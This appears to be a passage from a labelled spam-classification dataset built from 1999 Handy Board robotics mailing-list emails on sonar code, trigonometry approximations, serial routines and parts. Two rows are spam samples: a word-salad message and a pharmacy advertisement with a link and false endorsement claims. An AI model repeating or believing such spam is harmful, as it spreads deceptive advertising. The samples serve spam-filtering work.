""sonar_display();"" function, I heard the transducer clicking rapidly. > The LCD display updated in sync with the clicks. So far so good. > > The display, however, did not change significantly, when, holding the > transducer by it's wires, not by its body, I pointed it at flat surfaces > at varying distances from it ranging from a few feet to five or ten feet > away. I kept getting a number around 1450 to 1460 on the LCD as the > value of ""result,"" which holds the result of the call to the ranging > function, ""sonar_closeup();"". Occasionally numbers up to 1800 or so > flash on momentarily, but for the most part the numbers being > continuously updated run in the 1450s to 1460s. > > I've tried substituting ""sonar_sample();"" for the call to > ""sonar_closeup();"" in the ""sonar_display();"" function's body, to no > avail. If the returned value on the LCD represents the number of half > milliseconds elapsed, then, I seem to be reading a constant distance of > about .3 feet (1450 ticks / 2000 ticks/ms = 0.725 ms; 0.725 ms / 2 = .362 > ms, or the time for sound to travel ONE way to target; .362 ms / 1.1 > ft/ms {speed of sound} = .33 ft). > > HELP! > > Ross M. Tonkens, M.D. > Medical Director > Primary Care of Nevada > 100 North Green Valley Parkway > Suite 240 > Henderson, NV 89014 > > 702 914-7120 VOICE > 702 914-7129 FAX > > I've reproduced Fred Martin's driver code below rather than referring > everyone to the URL where I downloaded it. > > /* > sonar.c > Polaroid 6500 routines for Handy Board / Interactive C > by Fred Martin, fredm@media.mit.edu > Sat Nov 22 13:57:35 1997 > > echo signal is connected to tic3/pa0; > init signal is pd5 (SS); > binh signal is pd4 (SCK) > */ > > void sonar_init() { > bit_set(0x1009, 0x30); /* ddrd */ > bit_set(0x1021, 1); /* at tctl2, */ > bit_clear(0x1021, 2); /* set tic3 for rising edge */ > } > > > int sonar_sample() { > int start_time; > > poke(0x1023, 1); /* clear > tic3 flag */ > > start_time= peekword(0x100e); /* capture start time */ > bit_set(0x1008, 0x20); /* trigger pulse */ > > while (!(peek(0x1000) & 0x1)) { /* wait until receive echo */ > if ((peekword(0x100e) - start_time) < 0) { > /* if too much time has elapsed, abort */ > bit_clear(0x1008, 0x20); > return -1; > } > defer(); /* > let others run while waiting */ > } > > bit_clear(0x1008, 0x20); /* clear pulse trigger */ > > return peekword(0x1014) - start_time; /* tic3 has time of echo */ > } > > int sonar_closeup() { > int start_time; > > poke(0x1023, 1); /* clear > tic3 flag */ > start_time= peekword(0x100e); > poke(0x1008, 0x20); > > while ((peekword(0x100e) - start_time) < 1000); > > bit_set(0x1008, 0x30); /* turn on BINH */ > > while (!(peek(0x1000) & 0x01)) { > if ((peekword(0x100e) - start_time) < 0) { > /* if too much time has elapsed, abort */ > bit_clear(0x1008, 0x30); > return -1; > } > defer(); > } > > bit_clear(0x1008, 0x30); > > return peekword(0x1014) - start_time; /* 0x1014 is tic3 */ > } > > void sonar_display() { > > int result; > > sonar_init(); > > while (1) { > result= sonar_closeup(); > if (result != -1) printf(""%d\\n"", result); > else printf(""*******\\n""); > msleep(50L); > } > } >",0,1 Royal Beasley ,handyboard@media.mit.edu,"Mon, 08 Mar 1999 18:44:21 -0600",ȸ����! ����� �ڱݹ���! ���� ���̻� �������� ������!,"Most widows believe that snow inside swamp conquer anomaly living with.A few haunches, and insurance agent living with deficit) to arrive at a state of grand pianowaifs remain bohemian.When you see dolphin defined by, it means that defined by cleavage sweeps the floor.cargo bay toward razor blade sell to mortician beyond looking glass, because around industrial complex compete with shadow defined by recliner.Davis, although somewhat soothed by near graduated cylinder and cigar toward toothpick. ",1,0 Stefano Falconetti ,handyboard@media.mit.edu,"Tue, 09 Mar 1999 08:25:09 +0100",Rs422/485 to RS 232 interface," Does anyone can suggest me where to find a simple scheme of an interface from Rs422/485 to RS 232 ? I know that a lot of them are on the web, but where exactly ? Thanks Stefano Falconetti ",0,0 Stefano Falconetti ,handyboard@media.mit.edu,"Tue, 09 Mar 1999 09:16:46 +0100",Fw: Rs422/485 to RS 232 interface,"---------- > From: Stefano Falconetti > To: handyboard@media.mit.edu > Subject: Rs422/485 to RS 232 interface > Date: 09 March 1999 08:25 > > > > Does anyone can suggest me where to find a simple scheme of an interface > from Rs422/485 to RS 232 ? > I know that a lot of them are on the web, but where exactly ? > > > Thanks > > Stefano Falconetti > > > >",0,0 Guy & Gad Berg ,"""handyboard@media.mit.edu"" ","Tue, 09 Mar 1999 13:02:49 +0200",basic trigonometric functions on the handyboard..,"Hi. We've been trying to build an algorithm which will allow our HB to travel between given points. We need to use the inverse cosine function (cos^-1), how can we do that? Is there a math library which contains this and other trig functions? Thanks, Guy. ",0,0 Stefano Falconetti ,handyboard@media.mit.edu,"Tue, 09 Mar 1999 12:02:18 +0100",Interfacing HB with bus abaco.,"Do anyone of you have already used a strange bus called ABACO ? I'd like to know if someone of you met it anywhere. Thanks Stefano Falconetti ",0,0 """SHETTI.NITIN.MANGESH"" ",Guy & Gad Berg ,"Tue, 09 Mar 1999 18:46:42 -0500",Re: basic trigonometric functions on the handyboard..,"Dear Berg, You can perhaps express cos^-1 in the forms of a Taylor series and use that series for finding the approximate value. I have however not tried it. There is no math function for inverse cosine.Refer to handy board manual available el.www.mit.media.edu for details on IC. Yours sincerely, Nitin On Tue, 9 Mar 1999, Guy & Gad Berg wrote: > Hi. > We've been trying to build an algorithm which will allow our HB to > travel between given points. > We need to use the inverse cosine function (cos^-1), how can we do that? > Is there a math library which contains this and other trig functions? > > Thanks, > Guy. > > ",0,0 """SHETTI.NITIN.MANGESH"" ","""Edward J. Young"" ","Tue, 09 Mar 1999 18:56:07 -0500","Re: HB v1.2, IC v3.1 and ir functionality ","Dear Edward, I don't think you need the r22_ir.lis file.The file sony_ir.icb is available at http://tcw2.ppsw.rug.nl/hb/software/index.html . Yours sincerely, Nitin On Sat, 6 Mar 1999, Edward J. Young wrote: > > > I'd like to get the ir functionality working on my v1.2 handy board. I > am using the 3.1 version of IC from newton labs. See below for the > files included with this release. > > According to The Handy Board Technical Reference"" Dated Jan 16, 1997, > I must include the file sony-ir.icb to the file lib_hb.lis AND not > include r22_ir.lis in that file. r22_ir.lis is already included but I > can't find the file sony-ir.icb in the distribution. > > My questions: > Is the file r22_ir.lis specific to a rev2.2 of the Handy Board? If so, > will they work with my v1.2 Handy Board? > > Can I simply remove the r22_ir.lis file from the lib_hb.lis file and > put in sony-ir.icb to get the proper functionality? If so, where can I > find the file sony-ir.icb?? > > THanx in advance, > > Ed Young > NL7FU > > IC v3.1 includes > which includes the .lis files: > /usr/local/lib/ic: > wildcard *.lis > -rw-r--r-- 1 root root 24 Oct 27 1995 encoders.lis > -r--r--r-- 1 root root 20 Mar 6 10:00 lib_hb.lis > -rw-r--r-- 1 root root 63 Oct 27 1995 lib_r22.lis > -rw-r--r-- 1 root root 11 Apr 18 1997 lib_rw11.lis > -rw-r--r-- 1 root root 63 Apr 18 1997 library.lis > -rw-r--r-- 1 root root 20 Oct 27 1995 r22_ir.lis > -rw-r--r-- 1 root root 37 Oct 27 1995 rw-test.lis > -rw-r--r-- 1 root root 18 Oct 27 1995 shaft.lis > -rw-r--r-- 1 root root 11 Oct 27 1995 startstp.lis > > /usr/local/lib/ic: > wildcard *.c > -rw-r--r-- 1 root root 12484 Apr 18 1997 alpha.c > -rw-r--r-- 1 root root 1247 Apr 18 1997 bicycle.c > -rw-r--r-- 1 root root 1658 Oct 27 1995 cof.c > -rw-r--r-- 1 root root 3466 Jan 7 1996 diagnostic.c > -rw-r--r-- 1 root root 1451 Oct 27 1995 encoders.c > -rw-r--r-- 1 root root 1234 Apr 18 1997 hbtest.c > -rw-r--r-- 1 root root 2010 Jan 7 1996 irplacebo.c > -rw-r--r-- 1 root root 1505 Oct 27 1995 irtest22.c > -rw-r--r-- 1 root root 10293 Apr 18 1997 lib_hb.c > -rw-r--r-- 1 root root 12785 Apr 18 1997 lib_r22.c > -rw-r--r-- 1 root root 6394 Apr 18 1997 lib_rw10.c > -rw-r--r-- 1 root root 7075 Oct 27 1995 lib_rw11.c > -rw-r--r-- 1 root root 3226 Jan 7 1996 menu.c > -rw-r--r-- 1 root root 6351 Apr 18 1997 music.c > -rw-r--r-- 1 root root 1069 Oct 27 1995 r22_ir.c > -rw-r--r-- 1 root root 1041 Oct 27 1995 regdefs.c > -rw-r--r-- 1 root root 12017 Oct 27 1995 selftest.c > -rw-r--r-- 1 root root 3466 Jan 7 1996 servo.c > -rw-r--r-- 1 root root 1185 Oct 27 1995 shaft.c > -rw-r--r-- 1 root root 3359 Jan 7 1996 startstp.c > -rw-r--r-- 1 root root 54 Mar 5 12:58 test1.c > -rw-r--r-- 1 root root 2485 Jan 7 1996 testbrd.c > -rw-r--r-- 1 root root 910 Oct 27 1995 tunes.c > > > /usr/local/lib/ic: > wildcard *.icb > -rw-r--r-- 1 root root 2639 Oct 27 1995 analog.icb > -rw-r--r-- 1 root root 3946 Oct 27 1995 encoders.icb > -rw-r--r-- 1 root root 5736 Oct 27 1995 r22_ir.icb > -rw-r--r-- 1 root root 2733 Oct 27 1995 r22expbd.icb > -rw-r--r-- 1 root root 3090 Oct 27 1995 servo.icb > -rw-r--r-- 1 root root 427 Oct 27 1995 speed.icb > > ",0,1 """Edward J. Young"" ",shettin@giasbmc.vsnl.net.in,"Tue, 09 Mar 1999 07:18:03 -0700","Re: HB v1.2, IC v3.1 and ir functionality"," Thanx for the pointer. I got it working with some help from this list. Thanx again, Ed ",0,0 Chen Yung Hsu ,rmtmd ,"Tue, 09 Mar 1999 10:32:56 -0500",Re: Polaroid 6500 Sonar Problem,"I would also like to know about this. please respond. =) chen On Mon, 8 Mar 1999, rmtmd wrote: > I'm having difficulty getting my sonar rangefinder to work properly. > > I've got a fully operational Handy Board with a fully operational > Expansion Board plugged into it (both purchased assembled from Gleason > and used extensively already without difficulty). I've soldered the nine > pin flex cable adapter into the appropriate place on the top of the > expansion board, and I've got the flex cable plugged into it and into the > adapter on the sonar driver board I purchased assembled from Wirz. I've > soldered a solid core wire to pad J12 on the expansion board and plugged > the other end into the digital input numbered ""7"" on the Handy Board > itself (first hole on right in the single row header next to the power > expansion header). > > Running Interactive C 3.1 (commercial version from Newton Labs), I loaded > ""sonar.c"" (Fred Martins' driver code) to test everything. When I invoked > the ""sonar_display();"" function, I heard the transducer clicking rapidly. > The LCD display updated in sync with the clicks. So far so good. > > The display, however, did not change significantly, when, holding the > transducer by it's wires, not by its body, I pointed it at flat surfaces > at varying distances from it ranging from a few feet to five or ten feet > away. I kept getting a number around 1450 to 1460 on the LCD as the > value of ""result,"" which holds the result of the call to the ranging > function, ""sonar_closeup();"". Occasionally numbers up to 1800 or so > flash on momentarily, but for the most part the numbers being > continuously updated run in the 1450s to 1460s. > > I've tried substituting ""sonar_sample();"" for the call to > ""sonar_closeup();"" in the ""sonar_display();"" function's body, to no > avail. If the returned value on the LCD represents the number of half > milliseconds elapsed, then, I seem to be reading a constant distance of > about .3 feet (1450 ticks / 2000 ticks/ms = 0.725 ms; 0.725 ms / 2 = .362 > ms, or the time for sound to travel ONE way to target; .362 ms / 1.1 > ft/ms {speed of sound} = .33 ft). > > HELP! > > Ross M. Tonkens, M.D. > Medical Director > Primary Care of Nevada > 100 North Green Valley Parkway > Suite 240 > Henderson, NV 89014 > > 702 914-7120 VOICE > 702 914-7129 FAX > > I've reproduced Fred Martin's driver code below rather than referring > everyone to the URL where I downloaded it. > > /* > sonar.c > Polaroid 6500 routines for Handy Board / Interactive C > by Fred Martin, fredm@media.mit.edu > Sat Nov 22 13:57:35 1997 > > echo signal is connected to tic3/pa0; > init signal is pd5 (SS); > binh signal is pd4 (SCK) > */ > > void sonar_init() { > bit_set(0x1009, 0x30); /* ddrd */ > bit_set(0x1021, 1); /* at tctl2, */ > bit_clear(0x1021, 2); /* set tic3 for rising edge */ > } > > > int sonar_sample() { > int start_time; > > poke(0x1023, 1); /* clear tic3 flag */ > > start_time= peekword(0x100e); /* capture start time */ > bit_set(0x1008, 0x20); /* trigger pulse */ > > while (!(peek(0x1000) & 0x1)) { /* wait until receive echo */ > if ((peekword(0x100e) - start_time) < 0) { > /* if too much time has elapsed, abort */ > bit_clear(0x1008, 0x20); > return -1; > } > defer(); /* let others run while waiting */ > } > > bit_clear(0x1008, 0x20); /* clear pulse trigger */ > > return peekword(0x1014) - start_time; /* tic3 has time of echo */ > } > > int sonar_closeup() { > int start_time; > > poke(0x1023, 1); /* clear tic3 flag */ > start_time= peekword(0x100e); > poke(0x1008, 0x20); > > while ((peekword(0x100e) - start_time) < 1000); > > bit_set(0x1008, 0x30); /* turn on BINH */ > > while (!(peek(0x1000) & 0x01)) { > if ((peekword(0x100e) - start_time) < 0) { > /* if too much time has elapsed, abort */ > bit_clear(0x1008, 0x30); > return -1; > } > defer(); > } > > bit_clear(0x1008, 0x30); > > return peekword(0x1014) - start_time; /* 0x1014 is tic3 */ > } > > void sonar_display() { > > int result; > > sonar_init(); > > while (1) { > result= sonar_closeup(); > if (result != -1) printf(""%d\\n"", result); > else printf(""*******\\n""); > msleep(50L); > } > } > >",0,0 """Raymond, Shelby"" ","""'SHETTI.NITIN.MANGESH'"" , Guy & Gad Berg ","Tue, 09 Mar 1999 10:46:16 -0500",RE: basic trigonometric functions on the handyboard..,"Wouldn't it be easier to just use the cosine function itself? x = cos y You know x, but you want to find y. Pick a y (maybe 45 deg) and calculate the x. Use successive approximation to determine y within a tolerance. Almost like calculating a transcendental equation. -Shelby > Dear Berg, > You can perhaps express cos^-1 in the forms of a Taylor series and > use that series for finding the approximate value. I have however not > tried it. > There is no math function for inverse cosine.Refer to handy board > manual available el.www.mit.media.edu for details on IC. > Yours sincerely, > Nitin > > On Tue, 9 Mar 1999, Guy & Gad Berg wrote: > > > Hi. > > We've been trying to build an algorithm which will allow our HB to > > travel between given points. > > We need to use the inverse cosine function (cos^-1), how can we do that? > > Is there a math library which contains this and other trig functions? > > > > Thanks, > > Guy. > > > > ",0,0 Steve Wall ,handyboard@media.mit.edu,"Tue, 09 Mar 1999 11:09:43 -0500",20 X 4 L.C.D Screen?,"I put in an e-mail yesterday about using a different L.C.D, I made a mistake and said it was a 20 X 8 I meant a 20 X 4. I thought that there was a way to use a 20 X8 L.C.D instead of a standard 16 X 2. My question is is this possible, I thought I already heard about someone on the list that used a 20 X 8. Please help. Thank you in advance. ___________________________________________________ Steve Wall Sir Sandford Fleming college Swall@flemingc.on.ca ",0,0 Tey Chee Beng ,Handy Board mailing list ,"Wed, 10 Mar 1999 00:09:16 +0800",System time,"Hi, Have anyone developed a system time on the handy board ? Please advice me... Regards, James ",0,0 Aaron Edsinger ,Guy & Gad Berg ,"Mon, 08 Mar 1999 20:36:49 -0800",Re: basic trigonometric functions on the handyboard..,"A lookup table will be much faster if you can afford the memory space. -----Original Message----- From: Guy & Gad Berg To: handyboard@media.mit.edu Date: Tuesday, March 09, 1999 3:21 AM Subject: basic trigonometric functions on the handyboard.. >Hi. >We've been trying to build an algorithm which will allow our HB to >travel between given points. >We need to use the inverse cosine function (cos^-1), how can we do that? >Is there a math library which contains this and other trig functions? > >Thanks, >Guy. > >",0,0 Simon Schulz ,handyboard ,"Tue, 09 Mar 1999 20:05:26 +0100",Serial routines for PA7 at 2400 Baud,"Hi, I read somewhere taht if i want to use pa7 with 2400 baud that i'll have to modify the LDAB 37 to LDAB 148. Is this the only change ?? If i try to use this, and i send 0b11111111 on the HB, I get 0b11000000 on the Host (if i try 0b00000000 i get 0b10000000). That looks wrong for me ... Can someone help me ? Perhaps i do a mistake with compiling (the .asm to .icb) file ? I used the as11 for doing so. Thank you, Simon Modified Code below: * pa7_2400.asm ************************************************************************* * originally written by * * Fred Martin * * fredm@media.mit.edu * * 5 February 1997 * * changed to output @ 2400 baud * ************************************************************************* BASE EQU $1000 ; register base PORTA EQU $1000 ; Port A data register PACTL EQU $1026 ; Pulse Accumulator Control register ORG MAIN_START * sends a byte at 2400 N-8-1 over port A, bit 7 subroutine_pa7_2400: TBA SEI LDX #BASE BSET PACTL,X $80 ; enable PA7 for output * send start bit BSR a7_bit0 * send 8 data bits BSR a7_send8 * send stop bit BSR a7_bit1 CLI RTS * thanks to Brian Silverman for this recursive bit output trick a7_send8 BSR a7_send4 a7_send4 BSR a7_send2 a7_send2 BSR a7_send1 a7_send1 LSRA BCC a7_bit0 a7_bit1 BSET PORTA,X $80 BRA bit_delay a7_bit0 BCLR PORTA,X $80 * LDAB changed to 4x37 (for 2400 baud) bit_delay LDAB #148 bit_loop DECB ; 2 cycles BNE bit_loop ; 3 cycles RTS ",0,0 C.Melobecerra@plymouth.ac.uk,handyboard@media.mit.edu,"Tue, 09 Mar 1999 18:36:03 +0000",Help!,"Hello Everyone! I have a problem with my Handyboard. Until last week everything was ok, but now.. At the moment I can put the Handyboard in bootstrap mode,and download pcode. But I do not get the Interactive C message and the beep! So I guess is a power problem , or a memory problem. I swap the chips with an other handyboard and they are fine, also the voltage regualtor and monitor, seems to be fine. I do not know how to tes the memory circuitry. So please let me know if you have any ideas best regards Carlos ",0,0 Dperonne@aol.com,handyboard@media.mit.edu,"Tue, 09 Mar 1999 14:30:18 -0500",Polaroid Sonar,"Hi all, I don't know the Polaroid Sonar.... Do you have photo of it. Do you have schematics.... Thanks Dperonne@aol.com ",0,0 Thomas Heidel ,handyboard@media.mit.edu,"Tue, 09 Mar 1999 21:33:22 +0100",Re: basic trigonometric functions on the handyboard..,"Hi, The taylor for cos^-1 goes: cos^-1(x) = Pi/2- (x + 1/2*x^3/3 + 1/2*3/4*x^5/5 + 1/2*3/4*5/6*x^7/7 ...) (which in fact is simply Pi/2 - sin^-1) The results are very good for small x. For x close to 1 you need many many elements of that series to be somehow accurate. ""SHETTI.NITIN.MANGESH"" wrote: > > Dear Berg, > You can perhaps express cos^-1 in the forms of a Taylor series and > use that series for finding the approximate value. I have however not > tried it. > There is no math function for inverse cosine.Refer to handy board > manual available el.www.mit.media.edu for details on IC. > Yours sincerely, > Nitin > > On Tue, 9 Mar 1999, Guy & Gad Berg wrote: > > > Hi. > > We've been trying to build an algorithm which will allow our HB to > > travel between given points. > > We need to use the inverse cosine function (cos^-1), how can we do that? > > Is there a math library which contains this and other trig functions? > > > > Thanks, > > Guy. > > > > ",0,0 Jeroen van der Vegt ,HandyBoard mailing list ,"Tue, 09 Mar 1999 22:13:46 +0100",Re: basic trigonometric functions on the handyboard..,"The attached GIF shows the Taylor series of the arcsin and arccos. arctan=arccos/arcsin. I haven't tried to implement these formulas on a 68HC11. 3 to 4 steps are quite precise already. Jeroen van der Vegt. -----Original Message----- From: Raymond, Shelby To: 'SHETTI.NITIN.MANGESH' ; Guy & Gad Berg Cc: handyboard@media.mit.edu Date: dinsdag 9 maart 1999 17:48 Subject: RE: basic trigonometric functions on the handyboard.. >Wouldn't it be easier to just use the cosine function itself? >x = cos y >You know x, but you want to find y. >Pick a y (maybe 45 deg) and calculate the x. >Use successive approximation to determine y within >a tolerance. Almost like calculating a transcendental >equation. > >-Shelby > >> Dear Berg, >> You can perhaps express cos^-1 in the forms of a Taylor series and >> use that series for finding the approximate value. I have however not >> tried it. >> There is no math function for inverse cosine.Refer to handy board >> manual available el.www.mit.media.edu for details on IC. >> Yours sincerely, >> Nitin >> >> On Tue, 9 Mar 1999, Guy & Gad Berg wrote: >> >> > Hi. >> > We've been trying to build an algorithm which will allow our HB to >> > travel between given points. >> > We need to use the inverse cosine function (cos^-1), how can we do that? >> > Is there a math library which contains this and other trig functions? >> > >> > Thanks, >> > Guy. >> > >> > >",0,0 Scott Harris ,handyboard@media.mit.edu,"Tue, 09 Mar 1999 16:40:15 -0500",Re: basic trigonometric functions on the handyboard..,"A Taylor series isn't the way to go: they converge far too slowly. Here is a polynomial fit to arccos(x): arccos(x) ~ = 1.5708 - 1.0927 x + 4.358 x^3 - 0.8340 x^5 It differs from the exact value of arccos(x) by no more that 0.08 radians (4.6 degrees) in the range [-1,1]. If you need more accuracy, just fit a polynomial with more terms to arccos. -Scott Thomas Heidel wrote: > Hi, > > The taylor for cos^-1 goes: > > cos^-1(x) = Pi/2- (x + 1/2*x^3/3 + 1/2*3/4*x^5/5 + 1/2*3/4*5/6*x^7/7 > ...) > > (which in fact is simply Pi/2 - sin^-1) > > The results are very good for small x. For x close to 1 you need many > many > elements of that series to be somehow accurate. > > ""SHETTI.NITIN.MANGESH"" wrote: > > > > Dear Berg, > > You can perhaps express cos^-1 in the forms of a Taylor series and > > use that series for finding the approximate value. I have however not > > tried it. > > There is no math function for inverse cosine.Refer to handy board > > manual available el.www.mit.media.edu for details on IC. > > Yours sincerely, > > Nitin > > ",0,0 Vanessa Colella ,play99@media.mit.edu,"Tue, 09 Mar 1999 18:32:31 -0500",lite bright gets wired,"I am happy to work with folks on the lite bright project.. .. or help out on something else. Unfortunately, I will be out of town next week. Please send me email if you have an interest in collaborating. Vanessa ",0,0 Bill Denzel ,"""Handyboard@Media. Mit. Edu"" ","Tue, 09 Mar 1999 19:14:15 -0800",Vision on the Handy Board?,"Has anyone tried to connect some sort of a camera to the HB? Would I be asking too much of the 6811 processor to do some simple pattern recognition? I was just curious to what extent I could push my board to. Thanks for any info! Bill Denzel Senior Mechatronics Student California Polytechnic State University San Luis Obispo ",0,0 Saul Griffith ,play99@media.mit.edu,"Tue, 09 Mar 1999 22:35:30 -0500","Saul, kites, and 3D printers.","Hey class, I will be continuing work on augmented kites and anyone interested in helping out with the programming and musical mapping would be appreciated on board. I am also going to continue to hack a 3D printer from lego. The plan is to print in icing sugar and flour though I also hope to expand into ice-cream and chocolate. The promise of making arbitrary shapes and structures in edible materials quite appeals to me. Any experienced logo programmers would be a boon to the project. I particularly like Jason's Jungle Jim (Jungle Jam?) idea of augmenting large playground equipment and am willing to consult in structural strain gauges or ropes with sensors for this project. To my knowledge there hasn't been any real work on building strain measurement into the body of rope and there are many applications for such a thing. It would be a novel technology to emerge from this project. A braided composite fibre rope could conceivably do this. - smart rope...... I love also the chemistry learning centre of Kelly's. Finally chemistry could be made as fascinating as it really is and less daunting by good physical and tangible learning tools. The augmented play and acting kit with sensors in clothing and stage equipment seems to have great potential. I may be able to offer some consulting in the textile component of this project. In general - I am one of the shop managers and if anyone needs consulting on how to build and realise their toys I can help with the physical manufacturing aspects. Casting / molding / machining etc. cheers, Saul. ",0,0 Michael N Rosenblatt ,handyboard@media.mit.edu,"Tue, 09 Mar 1999 23:02:26 -0500",crystals and voltage monitors," Hi. Does anyone have current part numbers/vendors for the 8MHZ crystal and the U12 Voltage Monitor on the Handy Board? Are the correct values available from digi-key? I saw they carry both crystals and voltage monitors, I just don't want to order the wrong ones. Thanks. Michael ",0,0 Dotson ,handyboard@media.mit.edu,"Thu, 11 Mar 1999 00:10:32 +0600",cheers to your healthy life,"The Only online pharmacy verified by BBB and approved by Visa Seal of Confidence Quality meds at quality prices, and shipping so discrete that comes fast at your doorstep Please give us an opportunity fo check us http://kgbnlr.widthmound.com/?35938837 not interested? you can out-out at our website ",1,1 Stefano Falconetti ,"Bill Denzel , ""Handyboard@Media. Mit. Edu"" ","Wed, 10 Mar 1999 09:01:16 +0100",Re: Vision on the Handy Board?,"I hade the same idea, with a parallel port camera, just to see what can happen. If I'm not wrong it is possible to use a parallel port -> RS232 interface. Am I wrong ? Stefano Falconetti ---------- > From: Bill Denzel > To: Handyboard@Media. Mit. Edu > Subject: Vision on the Handy Board? > Date: 10 March 1999 04:14 > > Has anyone tried to connect some sort of a camera to the HB? Would I be > asking too much of the 6811 processor to do some simple pattern recognition? > I was just curious to what extent I could push my board to. Thanks for any > info! > > Bill Denzel > > Senior Mechatronics Student > California Polytechnic State University > San Luis Obispo",0,0 Thomas Hauri ,Bill Denzel ,"Wed, 10 Mar 1999 09:29:48 +0100",Re: Vision on the Handy Board?,"Hi Bill we are using a NewtonLabs cognachrome system on one of our model cars. The car is equiped with a Handyboard, a cognachrom system, a camera, and a couple of RS232 to CAN converters. Our Handyboard has a CAN controller attached to it for faster communication. The problem we are having now is that the Handyboard seems to be too slow to handle the data from the cognachrome system although it's only being transmitted at 9.6kbps. This model car then tries to follow a certain object trained to the system. But as mentioned above the control algorithm or system seems to be kind of slow. We are right now working on the algorithems to make the system faster. The cognachrome system is some nice piece of equipment. It just needs a serial port on the Handyboard that has a speed of a minimum of 9.6k. Attaching a camera directly to the handyboard (using some sort of framegrabber) would ask too much of the 6811 I think althoough I have never tried it. Maybe some basic object recognition might work depending on the resolution of the picture. Maybe some 20x20 or similar picture could be analyzed within a useful of time. But I think IC code is much too slow for that kind of business. Some compiled C or assembler might do the job. Mybe someone else knows more.........Let me know. cu Tom Bill Denzel wrote: > Has anyone tried to connect some sort of a camera to the HB? Would I be > asking too much of the 6811 processor to do some simple pattern recognition? > I was just curious to what extent I could push my board to. Thanks for any > info! > > Bill Denzel > > Senior Mechatronics Student > California Polytechnic State University > San Luis Obispo -- Thomas Hauri ZHW Zuercher Hochschule Winterthur University of applied sciences Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : har@zhwin.ch HP : http://www.zhwin.ch ",0,1 Stefano Falconetti ,"Thomas Hauri , Bill Denzel ","Wed, 10 Mar 1999 10:04:49 +0100",Re: Vision on the Handy Board?,"Excuse me what is it a CAN controller ? Stefano ---------- > From: Thomas Hauri > To: Bill Denzel > Cc: Handyboard@Media. Mit. Edu > Subject: Re: Vision on the Handy Board? > Date: 10 March 1999 09:29 > > Hi Bill > > we are using a NewtonLabs cognachrome system on one of our model cars. > The car is equiped with a Handyboard, a cognachrom system, a camera, and a > couple of RS232 to CAN converters. > Our Handyboard has a CAN controller attached to it for faster communication. > The problem we are having now is that the Handyboard seems to be too slow to > handle the data from the cognachrome system although it's only being transmitted > at 9.6kbps. > This model car then tries to follow a certain object trained to the system. But > as mentioned above the control algorithm or system seems to be kind of slow. > We are right now working on the algorithems to make the system faster. > The cognachrome system is some nice piece of equipment. It just needs a serial > port on the Handyboard that has a speed of a minimum of 9.6k. > > Attaching a camera directly to the handyboard (using some sort of framegrabber) > would ask too much of the 6811 I think althoough I have never tried it. Maybe > some basic object recognition might work depending on the resolution of the > picture. Maybe some 20x20 or similar picture could be analyzed within a useful > of time. But I think IC code is much too slow for that kind of business. Some > compiled C or assembler might do the job. > > Mybe someone else knows more.........Let me know. > > cu Tom > > Bill Denzel wrote: > > > Has anyone tried to connect some sort of a camera to the HB? Would I be > > asking too much of the 6811 processor to do some simple pattern recognition? > > I was just curious to what extent I could push my board to. Thanks for any > > info! > > > > Bill Denzel > > > > Senior Mechatronics Student > > California Polytechnic State University > > San Luis Obispo > > -- > Thomas Hauri > ZHW Zuercher Hochschule Winterthur > University of applied sciences > Technikumstr.9 /PF > CH-8401 Winterthur > Switzerland > > Phone : +41 52 267 74 79 > Fax : +41 52 268 74 79 > Mail : har@zhwin.ch > HP : http://www.zhwin.ch",0,1 Stefano Falconetti ,handyboard@media.mit.edu,"Wed, 10 Mar 1999 11:07:54 +0100",Memory peripheral device,"I,m trying to give to my 68hc11 board a memory mass storage device, like a floppy reader, or a disk, or a disk on chip, or a PCMCIA memory card interface, I found a way but I'd like to know if someone of you did something like this before me. Thanks a lot Stefano Falconetti ",0,0 Thomas Hauri ,Stefano Falconetti ,"Wed, 10 Mar 1999 11:24:44 +0100",Re: Vision on the Handy Board?,"CAN = Controler Area Network http://www.omegas.co.uk/CAN/ Stefano Falconetti wrote: > Excuse me what is it a CAN controller ? > > Stefano -- Thomas Hauri ZHW Zuercher Hochschule Winterthur University of applied sciences Technikumstr.9 /PF CH-8401 Winterthur Switzerland Phone : +41 52 267 74 79 Fax : +41 52 268 74 79 Mail : har@zhwin.ch HP : http://www.zhwin.ch ",0,1 Donald Reuter ,handyboard@media.mit.edu,"Wed, 10 Mar 1999 06:27:05 -0800",Re: crystals and voltage monitors,"For the crystal, Mouser Part No: 520-HCU800-S Description: ECS HC-49/U-S MICROPROCESSOR CRYSTAL CRYSTAL 8.0 MHZ Substitution can be made. Make sure it is low profile though. Cost is $1.55 at Mouser. DS1233-10 Allied Part No: 671-0125 but they want a $25.00 minimum purchase. Not a $50.00 minimum. I order from them consistently for over and under $50.00 and they never charge a minimum handling fee unless your order is under $25.00. Sterling Electronics has them in stock. Go to the Sterling site and click on ""Contact Us"" to find out your local Sterling distributor then e-mail them. Newark Part No: 06F4319 and the cost for this DS1233-10 is $1.42 Good Luck and enjoy Donald F. Reuter Get Your Private, Free Email at http://www.hotmail.com ",0,1 John Mitchell ,jpereyra@netgate.com.uy,"Wed, 10 Mar 1999 09:06:34 -0600",RE: HB & unmanned vehicle system,"I am new to the robotics field but can certainly share with you what I am doing. I first read the book, Mobile Robots: Inspiration to Implementation by Joseph L. Jones, et al. The book contains a good overview of the various components in building a mobile robot and walks you through how to build a fairly complete robot. I then subscribed to this mailing list to get some idea of what projects people are doing and what are some of the problems they are facing. I am currently building my Handy Board. Once it is completed, I will be building the rest of my robot using the advice from Jones' book. The Handy Board web site http://el.www.media.mit.edu/groups/el/projects/handy-board/index.html contains a wealth of information about the Handy Board, including where to purchase one. This site is ""required surfing"" for anyone using the Handy Board. I would be interested in other ""beginner"" web references or book recommendations that list members may have. Good Luck, John ************************************************** jrp WROTE > Date: Mon, 8 Mar 1999 15:16:19 -0300 > From: jrp > To: handyboard@media.mit.edu > Subject: HB & unmanned vehicle system > > Hi, can anyone help me in devolping an unmanned ground vehicle system using a Hand Board? This > is my first experience with the HB, in fact, I'm actually buying it (sorry, but may be you can > also tell me where to by one by the internet and what to by) > > Thanks, I really appreciate. > > Bye",0,1 Bob Kelly ,HANDYBOARD@MEDIA.MIT.EDU,"Wed, 10 Mar 1999 10:37:28 -0500",Off the subject question...,"Hi all, The Handyboard is a wonderful piece of equipment. Lots of fun and simple and easy to use from a newcomers standpoint. I have learned much from messing around with it and plan on doing so for some time. I am by no means finished. Right now I am planning a new, more permanent and more functional base. I was thinking though that it might be interesting to know if a laptop can be used (without permanent modification) as a controller for a robot. I have seen a 